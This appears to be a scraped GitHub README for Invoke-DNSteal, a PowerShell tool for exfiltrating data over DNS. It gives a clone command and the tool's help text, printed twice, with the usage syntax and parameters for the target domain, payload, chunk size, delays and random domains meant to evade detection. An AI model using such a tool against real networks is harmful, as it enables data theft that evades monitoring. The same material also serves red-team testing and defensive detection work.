Invoke-DNSteal is a Simple & Customizable DNS Data Exfiltrator.
This tool helps you to exfiltrate data through DNS protocol over UDP and TCP, and lets you control the size of queries using random delay. Also, allows you to avoid detections by using random domains in each of your queries and you can use it to transfer information both locally and remotely.
Requirements
- Powershell 4.0 or higher
- Python 2
Download
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/Invoke-DNSteal.git
Usage
<div class="snippet-clipboard-content position-relative" data-snippet-clipboard-copy-content=".\Invoke-DNSteal.ps1 -h ___ _ ____ _ _ ____ _ _ |_ _|_ __ _ __ __ | | __ __ | _ \| \ | / ___|| |__ __ __ _| | | || '_ \ \ / / _ \| |/ / _ \_____| | | | \| \___ \| __/ _ \/ _' | | | || | | \ V / (_) | < __/_____| |_| | |\ |___) | || __/ (_| | | |___|_| |_|\_/ \___/|_|\_\___| |____/|_| \_|____/ \__\___|\__,_|_| ————————— by @JoelGMSec ————————– Info: This tool helps you to exfiltrate data through DNS protocol and lets you control the size of queries using random delay Usage: .\Invoke-DNSteal.ps1 -t target -p payload -l lenght -s server -tcponly true/false -min 3000 -max 5000 Parameters: · Target: Domain target to exfiltrate data · Payload: Payload to send over DNS chunks · Lenght: Lenght of payload to control data size · Server: Custom server to resolve DNS queries · TcpOnly: Set TcpOnly to true or false · Delay Min: Min delay time to do a query in ms · Delay Max: Max delay time to do a query in ms · Random: Use random domain name to avoid detection Warning: The lenght (payload size) must be between 4 and 240 The process time will increase depending on data size “>
.\Invoke-DNSteal.ps1 -h___ _ ____ _ _ ____ _ _
|_ _|_ __ _ __ __ | | __ __ | _ \| \ | / ___|| |__ __ __ _| |
| || '_ \ \ / / _ \| |/ / _ \_____| | | | \| \___ \| __/ _ \/ _' | |
| || | | \ V / (_) | < __/_____| |_| | |\ |___) | || __/ (_| | |
|___|_| |_|\_/ \___/|_|\_\___| |____/|_| \_|____/ \__\___|\__,_|_|
--------------------------- by @JoelGMSec --------------------------
Info: This tool helps you to exfiltrate data through DNS protocol
and lets you control the size of queries using random delay
Usage: .\Invoke-DNSteal.ps1 -t target -p payload -l lenght
-s server -tcponly true/false -min 3000 -max 5000
Parameters:
· Target: Domain target to exfiltrate data
· Payload: Payload to send over DNS chunks
· Lenght: Lenght of payload to control d ata size
· Server: Custom server to resolve DNS queries
· TcpOnly: Set TcpOnly to true or false
· Delay Min: Min delay time to do a query in ms
· Delay Max: Max delay time to do a query in ms
· Random: Use random domain name to avoid detection
Warning: The lenght (payload size) must be between 4 and 240
The process time will increase depending on data size